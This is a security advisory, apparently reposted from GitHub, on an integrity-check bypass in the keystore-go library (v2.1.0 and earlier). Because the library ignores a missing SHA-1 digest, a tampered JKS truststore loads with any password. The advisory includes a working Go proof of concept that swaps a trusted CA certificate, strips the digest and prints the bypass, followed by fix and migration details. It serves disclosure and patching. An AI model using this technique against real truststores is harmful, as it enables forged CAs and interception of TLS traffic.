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A GitHub-reviewed security advisory, not necessarily under active exploitation the way our CISA KEV advisories are, but a real, disclosed vulnerability in an open-source dependency.
Affected packages
Vulnerable: <= 2.1.0
Vulnerable: < 3.0.0
Patched in 3.0.0
Details
keystore.Decode() fails to check the error returned when reading the trailing SHA-1 integrity digest of a JKS keystore. If an attacker removes the final 20 bytes from a .jks file, the digest read returns an empty slice and the byte-comparison loop never executes, so Decode() returns the parsed keystore with err == nil. This defeats both tamper detection and — for certificate-only truststores — the password check itself, allowing an attacker with write access to a keystore file (but without knowledge of the keystore password) to silently inject or replace trusted CA certificates.
Affected versions: github.com/pavel-v-chernykh/keystore-go ≤ v2.1.0+incompatible (the final release on this module path). v3 and v4 releases are not impacted.
In decoder.go, function Decode, lines 264-272:
computedDigest := ksd.md.Sum(nil)
actualDigest, err := ksd.readBytes(uint32(ksd.md.Size()))
for i := 0; i < len(actualDigest); i++ {
if actualDigest[i] != computedDigest[i] {
return nil, ErrInvalidDigest
}
}
return keyStore, nil
Two defects combine here:
err returned by ksd.readBytes(20) on line 265 is assigned but never inspected.len(actualDigest) rather than len(computedDigest).readBytes (decoder.go lines 75-94) reads the requested bytes via io.ReadFull; on EOF/short read it returns (nil, ErrIo):
_, err := io.ReadFull(ksd.r, ksd.b[:blockSize])
if err != nil {
return result, ErrIo
}
When the trailing 20-byte digest is absent from the input stream, actualDigest is therefore nil, len(actualDigest) == 0, the for loop body never executes, and Decode() falls through to return keyStore, nil.
The JKS format's only integrity guarantee is this trailing SHA1(passwordBytes || "Mighty Aphrodite" || body) digest. For truststores containing only TrustedCertificateEntry values it is also the only place the password is verified. Consequently:
.jks truststore on disk — but does not know the keystore password — can replace or add trusted CA certificates, drop the last 20 bytes of the file, and the consuming Go process will load the forged truststore as valid.Decode() accepts any password, so operators who believe the password gates integrity receive no error even when the wrong password is supplied.The reference Java JavaKeyStore implementation reads the digest with DataInputStream.readFully and throws on short read; this Go port diverges from that behaviour.
go mod init poc
go get github.com/pavel-v-chernykh/[email protected]+incompatible
go run .
package main
import (
"bytes"
"fmt"
"os"
keystore "github.com/pavel-v-chernykh/keystore-go"
)
func main() {
originalCert := []byte("ORIGINAL-TRUSTED-CA-CERTIFICATE")
evilCert := []byte("EVIL-ATTACKER-CA-CERTIFICATE!!!") // same length
ks := keystore.KeyStore{
"trusted-ca": &keystore.TrustedCertificateEntry{
Certificate: keystore.Certificate{
Type: "X509",
Content: originalCert,
},
},
}
var buf bytes.Buffer
if err := keystore.Encode(&buf, ks, []byte("correct-password")); err != nil {
panic(err)
}
legit := buf.Bytes()
fmt.Printf("[*] Legitimate keystore: %d bytes (last 20 = SHA-1 digest)\n", len(legit))
// Sanity: untampered keystore with WRONG password is rejected.
_, err := keystore.Decode(bytes.NewReader(legit), []byte("wrong-password"))
fmt.Printf("[*] Decode(legit, wrong-password) -> err=%v (expected ErrInvalidDigest)\n", err)
// Attacker: tamper with the certificate, then strip the 20-byte digest.
tampered := bytes.Replace(append([]byte(nil), legit...), originalCert, evilCert, 1)
tampered = tampered[:len(tampered)-20] // remove trailing SHA-1 digest entirely
// 1) Tampered keystore + CORRECT password: integrity check should fail.
out, err := keystore.Decode(bytes.NewReader(tampered), []byte("correct-password"))
if err == nil {
entry := out["trusted-ca"].(*keystore.TrustedCertificateEntry)
fmt.Printf("\n[BYPASS] Tampered keystore accepted with correct password.\n")
fmt.Printf(" Trusted cert content: %q\n", entry.Certificate.Content)
} else {
fmt.Printf("[ok] tampered keystore rejected: %v\n", err)
os.Exit(1)
}
// 2) Tampered keystore + WRONG password: should also fail.
out2, err2 := keystore.Decode(bytes.NewReader(tampered), []byte("attacker-does-not-know"))
if err2 == nil {
entry := out2["trusted-ca"].(*keystore.TrustedCertificateEntry)
fmt.Printf("[BYPASS] Tampered keystore accepted with WRONG password.\n")
fmt.Printf(" Trusted cert content: %q\n", entry.Certificate.Content)
} else {
fmt.Printf("[ok] wrong password rejected: %v\n", err2)
os.Exit(1)
}
}
Expected output:
[*] Legitimate keystore: 97 bytes (last 20 = SHA-1 digest)
[*] Decode(legit, wrong-password) -> err=keystore: invalid digest (expected ErrInvalidDigest)
[BYPASS] Tampered keystore accepted with correct password.
Trusted cert content: "EVIL-ATTACKER-CA-CERTIFICATE!!!"
[BYPASS] Tampered keystore accepted with WRONG password.
Trusted cert content: "EVIL-ATTACKER-CA-CERTIFICATE!!!"
Any application that uses keystore.Decode() to load a JKS truststore and relies on the keystore password for tamper evidence is affected. An attacker who can write to the .jks file (local user, compromised deployment artefact, writable config volume, etc.) but does not know the keystore password can replace trusted CA certificates undetected. Downstream, this typically enables man-in-the-middle interception of TLS connections that trust the forged CA, compromising confidentiality and integrity of those connections. No authentication to the target application is required beyond file-write access; no user interaction is required.
This defect was fixed in commit af93effd832cf1aef7794e69c31e1b668e17b851 (2019-09-16, "Update to go1.13"), which added an if err != nil { return … } guard after reading the trailing digest and replaced the length-of-actual loop with a full-length bytes.Compare(actualDigest, computedDigest). That commit first shipped in tag v3.0.0. There is no fixed release on the bare github.com/pavel-v-chernykh/keystore-go module path — every release there (v1.0.0 through v2.1.0+incompatible) predates the fix. The fixed code is available under the successor module paths:
github.com/pavel-v-chernykh/keystore-go/v3 ≥ v3.0.0github.com/pavel-v-chernykh/keystore-go/v4 ≥ v4.0.0github.com/pavlo-v-chernykh/keystore-go/v4 ≥ v4.0.0 (repository renamed at v4.4.0; the Go module proxy serves all v4.x under both spellings)Users of the legacy v2 module path remain exposed and should migrate to github.com/pavlo-v-chernykh/keystore-go/v4.
EPSS, exploit probability
Low0.05%
estimated chance of real-world exploitation in the next 30 days, higher than 0.0% of every CVE FIRST.org scores
Refreshed 11/19/2026, via FIRST.org's EPSS model, not CVSS, this measures likelihood of exploitation, not how severe it would be.
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